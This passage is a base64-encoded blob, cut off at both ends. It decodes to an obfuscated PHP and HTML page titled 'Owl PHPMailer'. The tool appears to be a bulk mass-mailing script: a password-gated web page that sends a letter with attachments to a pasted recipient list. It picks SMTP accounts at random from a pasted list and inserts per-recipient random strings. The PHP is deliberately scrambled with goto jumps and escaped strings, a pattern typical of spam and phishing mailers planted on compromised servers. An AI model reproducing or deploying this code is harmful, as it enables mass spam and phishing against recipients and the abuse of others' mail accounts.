mNcMTUxXDE0NFwxNDFcMTY0XHg2NVw1NFw0MFx4NmRceDYxXDE3MFw1NVwxNDFceDY3XHg2NVx4M2RceDMwIik7IGdvdG8gbVpLQVc7IFZUZ1FROiAkb3dsWyJcMTY3XHg2NVx4NjJcMTYzXHg2OVx4NzRceDY1Il0gPSAiXDE1N1wxNjdcMTU0XDE1NVwxNDFceDY5XHg2Y1wxNDVceDcyXHgyZVx4NjlcMTU3IjsgZ290byBEVGdlcjsgc0xjQ3c6IGZ1bmN0aW9uIG93bFRyaW0oJHN0cmluZykgeyByZXR1cm4gc3RyaXBzbGFzaGVzKGx0cmltKHJ0cmltKCRzdHJpbmcpKSk7IH0gZ290byB0ZjVwNzsgSzJWUk86ID8+Cik8L2xpPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyQGVtYWlsZG9tYWluKTwvbGk+CiAgICAgICAgICAgICAgICA8bGk+Wy1yYW5kb21zdHJpbmctXSA6IDxiPlJhbmRvbSBzdHJpbmcgKDAtOSxhLXopPC9iPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+Wy1yYW5kb21udW1iZXItXSA6IDxiPlJhbmRvbSBudW1iZXIgKDAtOSkgPC9iPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+Wy1yYW5kb21sZXR0ZXJzLV0gOiA8Yj5SYW5kb20gTGV0dGVycyhhLXopIDwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tbWQ1LV0gOiA8Yj5SYW5kb20gTUQ1IDwvYj48L2xpPgogICAgICAgICAgICA8L3VsPgogICAgICAgICAgICA8aDQ+ZXhhbXBsZTwvaDQ+CiAgICAgICAgICAgIFJlY2l2ZXIgRW1haWwgPSA8Yj51c2VyQGRvbWFpbi5jb208L2I+PGJyPgogICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICA8bGk+aGVsbG8gPGI+Wy1lbWFpbHVzZXItXTwvYj4gLT4gaGVsbG8gPGI+dXNlcjwvYj48L2xpPgogICAgICAgICAgICAgICAgPGxpPnlvdXIgY29kZSBpcyAgPGI+Wy1yYW5kb21tZDUtXTwvYj4gLT4geW91ciBjb2RlIGlzIDxiPmUxMGFkYzM5NDliYTU5YWJiZTU2ZTA1N2YyMGY4ODNlPC9iPjwvbGk+CiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoNj5ieSA8Yj48YSBocmVmPSJodHRwOi8vPD9waHAgIGdvdG8gUXRwdko7IEwxVWNUOiBoZWFkZXIoIlx4NTBceDcyXHg2MVx4NjdceDZkXHg2MVx4M2FcNDBceDZlXDE1N1w1NVx4NjNcMTQxXHg2M1x4NjhcMTQ1Iik7IGdvdG8gc3d3dGs7IERUZ2VyOiBpZiAoaXNzZXQoJF9QT1NUWyJceDYxXHg2M1x4NzRceDY5XHg2Zlx4NmUiXSkgJiYgJF9QT1NUWyJcMTQxXHg2M1x4NzRcMTUxXDE1N1wxNTYiXSA9PSAiXDE2M1x4NjVceDZlXDE0NCIpIHsgJEdMT0JBTFNbIlwxNjJcMTQ1XHg2M1wxNTFceDcwXHg2OVwxNDVceDZlXDE2NCJdID0gb3dsVHJpbSgkX1BPU1RbIlwxNjJcMTQ1XDE0M1wxNTFcMTYwXHg2OVx4NjVcMTU2XDE2NCJdKTsgJEdMT0JBTFNbIlwxNjNcMTU1XHg3NFwxNjBcMTAxXDE0M1wxNDNcMTY0Il0gPSBvd2xUcmltKCRfUE9TVFsiXHg3M1x4NmRceDc0XHg3MFwxMDFcMTQzXDE0M1wxNjQiXSk7ICRHTE9CQUxTWyJceDczXDE0NVwxNTZceDY0XDE0NVx4NzJceDRlXHg2MVwxNTVceDY1Il0gPSBvd2xUcmltKCRfUE9TVFsiXHg3M1x4NjVceDZlXHg2NFx4NjVceDcyXDExNlx4NjFceDZkXHg2NSJdKTsgJEdMT0JBTFNbIlx4NzNcMTQ1XHg2ZVwxNDRcMTUxXHg2ZVx4NjdcMTE1XHg2NVwxNjRcMTUwXHg2Zlx4NjQiXSA9IG93bFRyaW0oJF9QT1NUWyJcMTYzXDE0NVwxNTZceDY0XDE1MVwxNTZceDY3XHg0ZFx4NjVcMTY0XDE1MFwxNTdcMTQ0Il0pOyAkR0xPQkFMU1siXHg3M1x4NjVceDZlXHg2NFx4NjVceDcyXHg0NVwxNTVcMTQxXDE1MVx4NmMiXSA9IG93bFRyaW0oJF9QT1NUWyJceDczXDE0NVx4NmVcMTQ0XDE0NVx4NzJcMTA1XDE1NVx4NjFceDY5XDE1NCJdKTsgJEdMT0JBTFNbIlwxNjJceDY1XHg3MFx4NmNcMTcxXHg1NFx4NmYiXSA9IG93bFRyaW0oJF9QT1NUWyJceDcyXHg2NVwxNjBceDZjXHg3OVwxMjRcMTU3Il0pOyAkbWVzc2FnZUxldHRlciA9IG93bFRyaW0oJF9QT1NUWyJceDZkXDE0NVwxNjNcMTYzXDE0MVwxNDdcMTQ1XHg0Y1x4NjVceDc0XHg3NFwxNDVceDcyIl0pOyAkbWVzc2FnZUxldHRlciA9IHVybGVuY29kZSgkbWVzc2FnZUxldHRlcik7ICRtZXNzYWdlTGV0dGVyID0gcHJlZ19yZXBsYWNlKCJcNTdcNDVceDM1XHg0M1w0NVw2Mlx4MzJceDJmIiwgIlx4MjVcNjJceDMyIiwgJG1lc3NhZ2VMZXR0ZXIpOyAkbWVzc2FnZUxldHRlciA9IHVybGRlY29kZSgkbWVzc2FnZUxldHRlcik7ICRHTE9CQUxTWyJcMTU1XDE0NVwxNjNceDczXDE0MVwxNDdcMTQ1XDExNFx4NjVceDc0XHg3NFx4NjVcMTYyIl0gPSBzdHJpcHNsYXNoZXMoJG1lc3NhZ2VMZXR0ZXIpOyAkYWx0TWVzc2FnZUxldHRlciA9IG93bFRyaW0oJF9QT1NUWyJceDYxXDE1NFwxNjRceDRkXDE0NVx4NzNcMTYzXHg2MVx4NjdcMTQ1XDExNFx4NjVcMTY0XDE2NFwxNDVcMTYyIl0pOyAkYWx0TWVzc2FnZUxldHRlciA9IHVybGVuY29kZSgkYWx0TWVzc2FnZUxldHRlcik7ICRhbHRNZXNzYWdlTGV0dGVyID0gcHJlZ19yZXBsYWNlKCJceDJmXDQ1XHgzNVwxMDNceDI1XHgzMlx4MzJcNTciLCAiXHgyNVx4MzJceDMyIiwgJGFsdE1lc3NhZ2VMZXR0ZXIpOyAkYWx0TWVzc2FnZUxldHRlciA9IHVybGRlY29kZSgkYWx0TWVzc2FnZUxldHRlcik7ICRHTE9CQUxTWyJceDYxXDE1NFwxNjRcMTE1XDE0NVwxNjNcMTYzXHg2MVx4NjdceDY1XDExNFx4NjVcMTY0XHg3NFwxNDVcMTYyIl0gPSBzdHJpcHNsYXNoZXMoJGFsdE1lc3NhZ2VMZXR0ZXIpOyAkR0xPQkFMU1siXHg2ZFwxNDVceDczXDE2M1x4NjFceDY3XDE0NVwxMjRcMTcxXHg3MFx4NjUiXSA9IG93bFRyaW0oJF9QT1NUWyJcMTU1XDE0NVwxNjNcMTYzXDE0MVwxNDdceDY1XDEyNFwxNzFceDcwXHg2NSJdKTsgJGVuY29kaW5nVHlwZSA9IG93bFRyaW0oJF9QT1NUWyJcMTQ1XDE1NlwxNDNceDZmXDE0NFx4NjlceDZlXHg2N1wxMjRcMTcxXHg3MFwxNDUiXSk7ICRHTE9CQUxTWyJceDY1XDE1Nlx4NjNceDZmXHg2NFwxNTFceDZlXHg2N1wxMjRcMTcxXHg3MFx4NjUiXSA9IHN0cmlwc2xhc2hlcygkZW5jb2RpbmdUeXBlKTsgJGVtYWlsUHJpb3JpdHkgPSBvd2xUcmltKCRfUE9TVFsiXDE0NVx4NmRcMTQxXHg2OVwxNTRcMTIwXHg3MlwxNTFcMTU3XDE2Mlx4NjlcMTY0XHg3OSJdKTsgJEdMT0JBTFNbIlx4NjVcMTU1XHg2MVx4NjlcMTU0XDEyMFwxNjJcMTUxXHg2Zlx4NzJcMTUxXDE2NFx4NzkiXSA9IHN0cmlwc2xhc2hlcygkZW1haWxQcmlvcml0eSk7ICRtZXNzYWdlU3ViamVjdCA9IG93bFRyaW0oJF9QT1NUWyJceDZkXHg2NVwxNjNcMTYzXDE0MVwxNDdceDY1XDEyM1x4NzVceDYyXDE1Mlx4NjVcMTQzXDE2NCJdKTsgJEdMT0JBTFNbIlwxNTVcMTQ1XDE2M1x4NzNceDYxXHg2N1wxNDVceDUzXDE2NVx4NjJceDZhXHg2NVwxNDNceDc0Il0gPSBzdHJpcHNsYXNoZXMoJG1lc3NhZ2VTdWJqZWN0KTsgcHJvY2Vzc0VtYWlsU2VuZGluZ1JlcXVlc3QoKTsgfSBnb3RvIGd0c1VtOyBPb1JISTogc2V0X3RpbWVfbGltaXQoMCk7IGdvdG8gRFFqMFo7IG1aS0FXOiBoZWFkZXIoIlx4NDNcMTQxXHg2M1x4NjhceDY1XDU1XHg0M1wxNTdceDZlXDE2NFwxNjJcMTU3XHg2Y1x4M2FcNDBcMTYwXHg2Zlx4NzNcMTY0XDU1XDE0M1x4NjhceDY1XDE0M1wxNTNcNzVceDMwXHgyY1w0MFx4NzBceDcyXHg2NVx4MmRcMTQzXHg2OFx4NjVceDYzXDE1M1w3NVw2MCIsIGZhbHNlKTsgZ290byBMMVVjVDsgeHhTX3U6ID8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CjxoZWFkPgogIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFID0gZWRnZSI+CiAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoID0gZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlID0gMSI+CiAgPHRpdGxlPk93bCBQSFBNYWlsZXIgPD9waHAgIGdvdG8gYnhGeEg7IFpKeERoOiBlY2hvICRvd2xbIlwxNjdcMTQ1XDE0Mlx4NzNcMTUxXHg3NFwxNDUiXTsgZ290byBKdUF3eTsgUGJkSzc6IGlmICghaXNzZXQoJF9TRVNTSU9OWyRzZXNzaW9uY29kZV0pKSB7ICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJyc7IH0gZ290byBoZkNQYTsgaGZDUGE6IGlmICghZW1wdHkoJHBhc3N3b3JkKSAmJiAkX1NFU1NJT05bJHNlc3Npb25jb2RlXSAhPSAkcGFzc3dvcmQpIHsgaWYgKGlzc2V0KCRfUkVRVUVTVFsiXDE2MFwxNDFcMTYzXDE2MyJdKSBhbmQgJF9SRVFVRVNUWyJcMTYwXHg2MVwxNjNceDczIl0gPT0gJHBhc3N3b3JkKSB7ICRfU0VTU0lPTlskc2Vzc2lvbmNvZGVdID0gJHBhc3N3b3JkOyB9IGVsc2UgeyBwcmludCAiXHgzY1wxNjBceDcyXHg2NVw0MFx4NjFceDZjXDE1MVx4NjdcMTU2XHgzZFx4NjNceDY1XHg2ZVx4NzRceDY1XDE2Mlx4M2VceDNjXHg2Nlx4NmZceDcyXHg2ZFx4MjBceDZkXDE0NVwxNjRceDY4XDE1N1wxNDRcNzVcMTYwXHg2Zlx4NzNceDc0XHgzZVx4NTBcMTQxXHg3M1x4NzNceDc3XHg2Zlx4NzJcMTQ0XDcyXHgyMFw3NFwxNTFceDZlXHg3MFx4NzVcMTY0XHgyMFx4NzRceDc5XHg3MFwxNDVcNzVceDI3XDE2MFwxNDFcMTYzXHg3M1wxNjdceDZmXDE2Mlx4NjRcNDdceDIwXDE1Nlx4NjFcMTU1XHg2NVx4M2RcNDdcMTYwXDE0MVx4NzNceDczXDQ3XDc2XHgzY1x4NjlceDZlXHg3MFwxNjVcMTY0XHgyMFwxNjRcMTcxXHg3MFwxNDVceDNkXDQ3XHg3M1wxNjVceDYyXHg2ZFwxNTFcMTY0XHgyN1w0MFx4NzZcMTQxXDE1NFx4NzVcMTQ1XDc1XHgyN1w3Nlx4M2VceDI3XHgzZVw3NFx4MmZcMTQ2XHg2Zlx4NzJcMTU1XHgzZVw3NFw1N1wxNjBceDcyXDE0NVx4M2UiOyBkaWU7IH0gfSBnb3RvIExYTzFzOyBqN1JSVDogZnVuY3Rpb24gaXNfZW1haWwoJGlucHV0KSB7ICRlbWFpbF9wYXR0ZXJuID0gIlx4MmZceDVlXDUwXHg1YlwxNDFceDJkXHg3YVx4NDFcNTVceDVhXHgzMFw1NVx4MzlceDVjXDU1XDEzNFx4NWZceDVjXHgyZVx4NWRcMTczXDYxXDU0XDE3NVw1MVx4MmJceDQwXHgyYlx4MjhcMTMzXDE0MVw1NVx4N2FcMTAxXDU1XDEzMlx4MzBceDJkXDcxXDEzNFx4MmRceDVjXDEzN1x4NWNceDJlXHg1ZFwxNzNceDMxXHgyY1wxNzVceDI5XHgyYlwxMzRceDJlXDUzXDUwXDEzM1x4NjFceDJkXDE3MlwxMzVcMTczXDYyXHgyY1w2NFwxNzVceDI5XDQ0XHgyZlx4NjkiOyBpZiAocHJlZ19tYXRjaCgkZW1haWxfcGF0dGVybiwgJGlucHV0KSkgeyByZXR1cm4gVFJVRTsgfSB9IGdvdG8gaEVoNmU7IExYTzFzOiBmdW5jdGlvbiBzZXRTZW5kaW5nTWV0aG9kKCkgeyAkbWFpbCA9IG5ldyBQSFBNYWlsZXIoKTsgaWYgKCRHTE9CQUxTWyJceDczXHg2NVx4NmVcMTQ0XHg2OVwxNTZcMTQ3XDExNVwxNDVcMTY0XDE1MFx4NmZceDY0Il0gPT0gIlx4NzNcMTU1XHg3NFx4NzAiKSB7ICRtYWlsLT5Jc1NNVFAoKTsgJHBhcnRzID0gZXhwbG9kZSgiXHgzYSIsICRHTE9CQUxTWyJceDczXDE1NVwxNjRcMTYwXDEwMVwxNDNcMTQzXDE2NCJdKTsgJG1haWwtPkhvc3QgPSBvd2xUcmltKCRwYXJ0c1swXSk7ICRtYWlsLT5Qb3J0ID0gb3dsVHJpbSgkcGFydHNbMV0pOyBpZiAob3dsVHJpbSgkcGFydHNbMl0pID09ICJcMTYzXDE2M1wxNTQiKSB7ICRtYWlsLT5TTVRQU2VjdXJlID0gIlwxNjNcMTYzXDE1NCI7IH0gZWxzZSB7IGlmIChvd2xUcmltKCRwYXJ0c1syXSkgPT0gIlwxNjRceDZjXHg3MyIpIHsgJG1haWwtPlNNVFBTZWN1cmUgPSAiXHg3NFwxNTRceDczIjsgfSBlbHNlIHsgJG1haWwtPlNNVFBTZWN1cmUgPSAnJzsgfSB9IGlmIChpc3NldCgkcGFydHNbM10pICYmIGlzc2V0KCRwYXJ0c1s0XSkpIHsgJG1haWwtPlNNVFBBdXRoID0gdHJ1ZTsgJG1haWwtPlVzZXJuYW1lID0gb3dsVHJpbSgkcGFydHNbM10pOyAkbWFpbC0+UGFzc3dvcmQgPSBvd2xUcmltKCRwYXJ0c1s0XSk7IH0gfSByZXR1cm4gJG1haWw7IH0gZ290byB2VXpxZTsgR2p4Qmw6ID8+CjwvdGl0bGU+CiAgPGxpbmsgaHJlZj0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3dhdGNoLzMuMy42L2Nvc21vL2Jvb3RzdHJhcC5taW4uY3NzIiByZWw9InN0eWxlc2hlZXQiPgogIDxsaW5rIGhyZWY9Imh0dHBzOi8vb3dsbWFpbGVyLmlvL2Nzcy9ib290c3RyYXAtMy4zLjEubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ij4KICA8IS0tIGpRdWVyeSAobmVjZXNzYXJ5IGZvciBCb290c3RyYXAncyBKYXZhU2NyaXB0IHBsdWdpbnMpIC0tPgogIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjMuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvMy4zLjEvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CiAgPGxpbmsgcmVsPSJpY29uIiBocmVmPSJodHRwczovL293bG1haWxlci5pby9pbWcvZmF2aWNvbi5pY28iIHR5cGU9ImltYWdlL3gtaWNvbiIgLz4KCgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIHJ1bm5pbmcgPSBmYWxzZTsKICAgICAgICB2YXIgcmVxdWVzdDsKICAgIDwvc2NyaXB0PgoKICA8c2NyaXB0PgogICAgQXJyYXkucHJvdG90eXBlLnJhbmRvbUVsZW1lbnQgPSBmdW5jdGlvbiAoKSB7CiAgcmV0dXJuIHRoaXNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogdGhpcy5sZW5ndGgpXQogfQoKIGZ1bmN0aW9uIHN0b3BTZW5kaW5nKCkKIHsKICAgIHJ1bm5pbmcgPSBmYWxzZTsKCiAgICBpZiAocmVxdWVzdCkgewogICAgICAgIHJlcXVlc3QuYWJvcnQoKTsKICAgICAgfQoKICAgICQoIiNidG5TdGFydCIpLmF0dHIoImRpc2FibGVkIiwgZmFsc2UpOwogICAgJCgiI2J0blN0b3AiKS5hdHRyKCJkaXNhYmxlZCIsIHRydWUpOwogfQoKIGZ1bmN0aW9uIGhhbmRsZVNlbmRpbmdSZXNwb25zZShyZWNpcGllbnQsIHJlc3BvbnNlLCBwcm9jZXNzZWRDb3VudCwgdG90YWxFbWFpbENvdW50KSB7CiAgJCgiI3Byb2dyZXNzIikuYXBwZW5kKCc8ZGl2IGNsYXNzPSJjb2wtbGctMyI+JyArIHByb2Nlc3NlZENvdW50LnRvU3RyaW5nKCkgKyAnLycgKyB0b3RhbEVtYWlsQ291bnQudG9TdHJpbmcoKSArICc8L2Rpdj48ZGl2IGNsYXNzPSJjb2wtbGctNiI+JyArIHJlY2lwaWVudCArICc8L2Rpdj4nKTsKICAKICBpZiAocmVzcG9uc2UgPT0gIk9LIil7CiAgICAkKCIjcHJvZ3Jlc3MiKS5hcHBlbmQoJzxkaXYgY2xhc3M9ImNvbC1sZy0xIj48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+Jyk7CiAgfQogIGVsc2UgaWYocmVzcG9uc2UgPT0gIkluY29ycmVjdCBFbWFpbCIpewogICAgJCgiI3Byb2dyZXNzIikuYXBwZW5kKCc8ZGl2IGNsYXNzPSJjb2wtbGctMSI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPkluY29ycmVjdCBFbWFpbDwvc3Bhbj48L2Rpdj4nKTsKICB9IGVsc2UgewogICAgJCgiI3Byb2dyZXNzIikuYXBwZW5kKCc8ZGl2IGNsYXNzPSJjb2wtbGctMSI+PHNwYW4gY2xhc3M9ImxhYmVsIGxhYmVsLWRlZmF1bHQiPicgKyByZXNwb25zZSArICc8L3NwYW4+PC9kaXY+Jyk7CiAgfQogICQoIiNwcm9ncmVzcyIpLmFwcGVuZCgnPGJyPicpOwogfQoKIGZ1bmN0aW9uIHN0YXJ0U2VuZGluZygpIHsKCiAKCiAgdmFyIGVNYWlsVGV4dEFyZWEgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiZW1haWxMaXN0Iik7CiAgdmFyIGVNYWlsVGV4dEFyZWFMaW5lcyA9IGVNYWlsVGV4dEFyZWEudmFsdWUuc3BsaXQoIlxuIik7CiAgdmFyIHNtdHBBY2NvdW50c1RleHRBcmVhID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNtdHBBY2NvdW50cyIpOwogIHZhciBzbXRwQWNjb3VudHNUZXh0QXJlYUxpbmVzID0gc210cEFjY291bnRzVGV4dEFyZWEudmFsdWUuc3BsaXQoIlxuIik7CiAgdmFyIGVuY29kaW5nVHlwZUUgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZW5jb2RpbmcnKTsKICB2YXIgZW5jb2RpbmdUeXBlID0gZW5jb2RpbmdUeXBlRS5vcHRpb25zW2VuY29kaW5nVHlwZUUuc2VsZWN0ZWRJbmRleF0udmFsdWU7CiAgdmFyIGVtYWlsUHJpb3JpdHlFID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3ByaW9yaXR5Jyk7CiAgdmFyIGVtYWlsUHJpb3JpdHkgPSBlbWFpbFByaW9yaXR5RS5vcHRpb25zW2VtYWlsUHJpb3JpdHlFLnNlbGVjdGVkSW5kZXhdLnZhbHVlOwogCiAgIHZhciBmb3JtX2RhdGEgPSBuZXcgRm9ybURhdGEoKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgiYWN0aW9uIiwgInNlbmQiKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgic2VuZGluZ01ldGhvZCIsIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W25hbWU9InNlbmRpbmdNZXRob2QiXTpjaGVja2VkJykudmFsdWUpOwogICBmb3JtX2RhdGEuYXBwZW5kKCJzZW5kZXJFbWFpbCIsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZW5kZXJFbWFpbCcpLnZhbHVlKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgic2VuZGVyTmFtZSIsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdzZW5kZXJOYW1lJykudmFsdWUpOwogICBmb3JtX2RhdGEuYXBwZW5kKCJyZXBseVRvIiwgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3JlcGx5VG8nKS52YWx1ZSk7CiAgIGZvcm1fZGF0YS5hcHBlbmQoIm1lc3NhZ2VTdWJqZWN0IiwgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N1YmplY3QnKS52YWx1ZSk7CiAgIGZvcm1fZGF0YS5hcHBlbmQoIm1lc3NhZ2VMZXR0ZXIiLCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbWVzc2FnZUxldHRlcicpLnZhbHVlKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgiYWx0TWVzc2FnZUxldHRlciIsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhbHRNZXNzYWdlTGV0dGVyJykudmFsdWUpOwogICBmb3JtX2RhdGEuYXBwZW5kKCJtZXNzYWdlVHlwZSIsIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W25hbWU9Im1lc3NhZ2VUeXBlIl06Y2hlY2tlZCcpLnZhbHVlKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgiZW5jb2RpbmdUeXBlIiwgZW5jb2RpbmdUeXBlKTsKICAgZm9ybV9kYXRhLmFwcGVuZCgiZW1haWxQcmlvcml0eSIsIGVtYWlsUHJpb3JpdHkpOwoKICAgZm9yICh2YXIgeCA9IDA7IHggPCBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYXR0YWNobWVudCcpLmZpbGVzLmxlbmd0aDsgeCsrKSB7CiAgICAgIGZvcm1fZGF0YS5hcHBlbmQoImF0dGFjaG1lbnRbXSIsIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhdHRhY2htZW50JykuZmlsZXNbeF0pOwogICB9CgogICQoIiNwcm9ncmVzcyIpLmVtcHR5KCk7CiAgdmFyIHByb2Nlc3NlZENvdW50ID0gMDsKICAkKGZ1bmN0aW9uICgpIHsKICAgIHZhciBpID0gMDsKICAgIHJ1bm5pbmcgPSB0cnVlOwoKICAgICQoIiNidG5TdGFydCIpLmF0dHIoImRpc2FibGVkIiwgdHJ1ZSk7CiAgICAkKCIjYnRuU3RvcCIpLmF0dHIoImRpc2FibGVkIiwgZmFsc2UpOwoKCiAgICBmdW5jdGlvbiBuZXh0Q2FsbCgpIHsKICAgICAgaWYgKGkgPT0gZU1haWxUZXh0QXJlYUxpbmVzLmxlbmd0aCl7CgogICAgICAgICAkKCIjYnRuU3RhcnQiKS5hdHRyKCJkaXNhYmxlZCIsIGZhbHNlKTsKICAgICAgICAgJCgiI2J0blN0b3AiKS5hdHRyKCJkaXNhYmxlZCIsIHRydWUpOwogICAgICAgICByZXR1cm47IC8vbGFzdCBjYWxsIHdhcyBsYXN0IGl0ZW0gaW4gdGhlIGFycmF5CiAgICAgIH0KCiAgICAgIC8vIEFib3J0IGFueSBwZW5kaW5nIHJlcXVlc3QKICAgICAgaWYgKHJlcXVlc3QpIHsKICAgICAgICByZXF1ZXN0LmFib3J0KCk7CiAgICAgIH0KICAgICAgIGlmKCFydW5uaW5nKQogICAgICB7CiAgICAgICAgcmV0dXJuOwogICAgICB9CgogICAgICB2YXIgcmVjaXBpZW50ID0gZU1haWxUZXh0QXJlYUxpbmVzW2krK10KICAgICAgZm9ybV9kYXRhLmFwcGVuZCgicmVjaXBpZW50IiwgcmVjaXBpZW50KTsKICAgICAgZm9ybV9kYXRhLmFwcGVuZCgic210cEFjY3QiLCBzbXRwQWNjb3VudHNUZXh0QXJlYUxpbmVzLnJhbmRvbUVsZW1lbnQoKSk7CgogICAgICByZXF1ZXN0ID0gJC5hamF4KHsKICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgZGF0YTogZm9ybV9kYXRhLAogICAgICAgIGNvbnRlbnRUeXBlOiBmYWxzZSwKICAgICAgICBwcm9jZXNzRGF0YTogZmFsc2UsCiAgICAgIH0pOwogICAgICAvLyBDYWxsYmFjayBoYW5kbGVyIHRoYXQgd2lsbCBiZSBjYWxsZWQgb24gc3VjY2VzcwogICAgICByZXF1ZXN0LmRvbmUoZnVuY3Rpb24gKHJlc3BvbnNlLCB0ZXh0U3RhdHVzLCBqcVhIUikgewogICAgICAgIHByb2Nlc3NlZENvdW50ICs9IDE7CiAgICAgICAgaGFuZGxlU2VuZGluZ1Jlc3BvbnNlKHJlY2lwaWVudCwgcmVzcG9uc2UsIHByb2Nlc3NlZENvdW50LCBlTWFpbFRleHRBcmVhTGluZXMubGVuZ3RoKTsKICAgICAgICBuZXh0Q2FsbCgpOwogICAgICB9KTsKICAgIH0KICAgIG5leHRDYWxsKCk7CiAgfSk7CiB9Cjwvc2NyaXB0PgogIDxkaXYgY2xhc3M9ImNvbnRhaW5lciBjb2wtbGctNiI+CiAgICA8aDM+JiMxMjk0MTc7IE93bCBQSFBNYWlsZXI8c21hbGw+IDw/cGhwICBnb3RvIGtUYkVfOyB0ZjVwNzogZnVuY3Rpb24gb3dsQ2xlYXIoJHRleHQsICRlbWFpbCkgeyAkZW1haWx1c2VyID0gcHJlZ19yZXBsYWNlKCJceDJmXHgyOFwxMzNcMTM2XDEwMFx4NWRceDJhXDUxXDU2XHgyYVw1NyIsICJceDI0XDYxIiwgJGVtYWlsKTsgJHRleHQgPSBzdHJfcmVwbGFjZSgiXHg1Ylx4MmRceDc0XDE1MVx4NmRceDY1XDU1XDEzNSIsIGRhdGUoIlx4NmRceDJmXHg2NFx4MmZcMTMxXDQwXHg2OFx4M2FceDY5XHgzYVx4NzNceDIwXHg2MSIsIHRpbWUoKSksICR0ZXh0KTsgJHRleHQgPSBzdHJfcmVwbGFjZSgiXHg1Ylw1NVx4NjVcMTU1XDE0MVwxNTFceDZjXDU1XDEzNSIsICRlbWFpbCwgJHRleHQpOyAkdGV4dCA9IHN0cl9yZXBsYWNlKCJcMTMzXHgyZFwxNDVcMTU1XHg2MVwxNTFcMTU0XHg3NVwxNjNcMTQ1XHg3Mlw1NVx4NWQiLCAkZW1haWx1c2VyLCAkdGV4dCk7ICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlwxMzNcNTVceDcyXDE0MVwxNTZceDY0XHg2Zlx4NmRcMTU0XHg2NVx4NzRcMTY0XDE0NVwxNjJceDczXHgyZFwxMzUiLCByYW5kU3RyaW5nKCJceDYxXHg2MlwxNDNcMTQ0XHg2NVwxNDZceDY3XHg2OFx4NjlceDZhXHg2Ylx4NmNceDZkXDE1NlwxNTdcMTYwXDE2MVwxNjJcMTYzXDE2NFx4NzVcMTY2XHg3N1wxNzBcMTcxXHg3YSIsIDgsIDE1KSwgJHRleHQpOyAkdGV4dCA9IHN0cl9yZXBsYWNlKCJceDViXDU1XDE2MlwxNDFcMTU2XHg2NFx4NmZcMTU1XDE2M1x4NzRcMTYyXDE1MVx4NmVcMTQ3XHgyZFx4NWQiLCByYW5kU3RyaW5nKCJceDYxXDE0Mlx4NjNcMTQ0XHg2NVx4NjZceDY3XDE1MFx4NjlceDZhXDE1M1wxNTRceDZkXDE1NlwxNTdceDcwXDE2MVx4NzJcMTYzXDE2NFwxNjVcMTY2XDE2N1wxNzBcMTcxXHg3YVx4MzBceDMxXDYyXDYzXHgzNFx4MzVcNjZcNjdcNzBceDM5IiwgOCwgMTUpLCAkdGV4dCk7ICR0ZXh0ID0gc3RyX3JlcGxhY2UoIlx4NWJcNTVcMTYyXHg2MVx4NmVceDY0XHg2ZlwxNTVcMTU2XHg3NVx4NmRceDYyXDE0NVwxNjJcNTVceDVkIiwgcmFuZFN0cmluZygiXDYwXHgzMVx4MzJceDMzXDY0XDY1XHgzNlx4MzdceDM4XHgzOSIsIDcsIDE1KSwgJHRleHQpOyAkdGV4dCA9IHN0cl9yZXBsYWNlKCJceDViXHgyZFx4NzJcMTQxXHg2ZVwxNDRceDZmXHg2ZFx4NmRcMTQ0XDY1XHgyZFwxMzUiLCBtZDUocmFuZCgpKSwgJHRleHQpOyByZXR1cm4gJHRleHQ7IH0gZ290byBQdEJaZjsgUHRCWmY6IGZ1bmN0aW9uIHJhbmRTdHJpbmcoJGNvbnNvbmFud